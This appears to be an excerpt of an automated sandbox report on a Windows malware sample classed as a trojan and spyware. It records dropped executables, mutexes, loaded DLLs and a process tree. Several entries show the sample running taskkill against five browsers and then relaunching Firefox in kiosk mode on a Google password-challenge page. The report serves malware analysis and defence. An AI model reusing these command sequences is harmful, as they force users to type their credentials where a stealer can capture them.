Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: Section: ZLIB complexity 0.9984566587193461
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: Section: febftsfn ZLIB complexity 0.9949437518718179
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: Section: ZLIB complexity 0.9984566587193461
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: Section: febftsfn ZLIB complexity 0.9949437518718179

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/30@62/11

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QQVU8579GXGT7ENXLIPV.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1780:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2196:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:340:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6516:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6360:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2172574418.0000000005436000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172864736.0000000005418000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051B7000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2884956721.00000000051D5000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2900826293.00000000051E1000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3014166982.0000000005298000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3028258492.00000000052C3000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3008493347.00000000052B6000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3132763944.000000000570A000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3126506590.0000000005729000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: 1X626IF7XY5V3PR2WUE6.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 9f543353fa.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696486832); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836); user_pref("app.update.lastUpdateTime.xpi-signatur

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe "C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe "C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe"
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe "C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe "C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe "C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe "C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe"
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe "C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe"
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process created: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe "C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe"
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {28079ed5-6d95-48ad-a74d-e122c62e640d} 5072 "\\.\pipe\gecko-crash-server-pipe.5072" 12dbdf6f910 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003076001\num.exe "C:\Users\user\AppData\Local\Temp\1003076001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process created: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe "C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe "C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3680 -parentBuildID 20230927232528 -prefsHandle 3044 -prefMapHandle 2992 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ac417107-408a-4ed8-9c4a-852515bdfed0} 5072 "\\.\pipe\gecko-crash-server-pipe.5072" 12dd0315910 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe "C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe"
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process created: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe "C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe"
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003076001\num.exe "C:\Users\user\AppData\Local\Temp\1003076001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process created: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe "C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe"
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe "C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe "C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe "C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe "C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe "C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003076001\num.exe "C:\Users\user\AppData\Local\Temp\1003076001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process created: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe "C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process created: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe "C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process created: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe "C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe"
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process created: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe "C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe"
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {28079ed5-6d95-48ad-a74d-e122c62e640d} 5072 "\\.\pipe\gecko-crash-server-pipe.5072" 12dbdf6f910 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe "C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3680 -parentBuildID 20230927232528 -prefsHandle 3044 -prefMapHandle 2992 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ac417107-408a-4ed8-9c4a-852515bdfed0} 5072 "\\.\pipe\gecko-crash-server-pipe.5072" 12dd0315910 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: textinputframework.dll	Jump to behavior
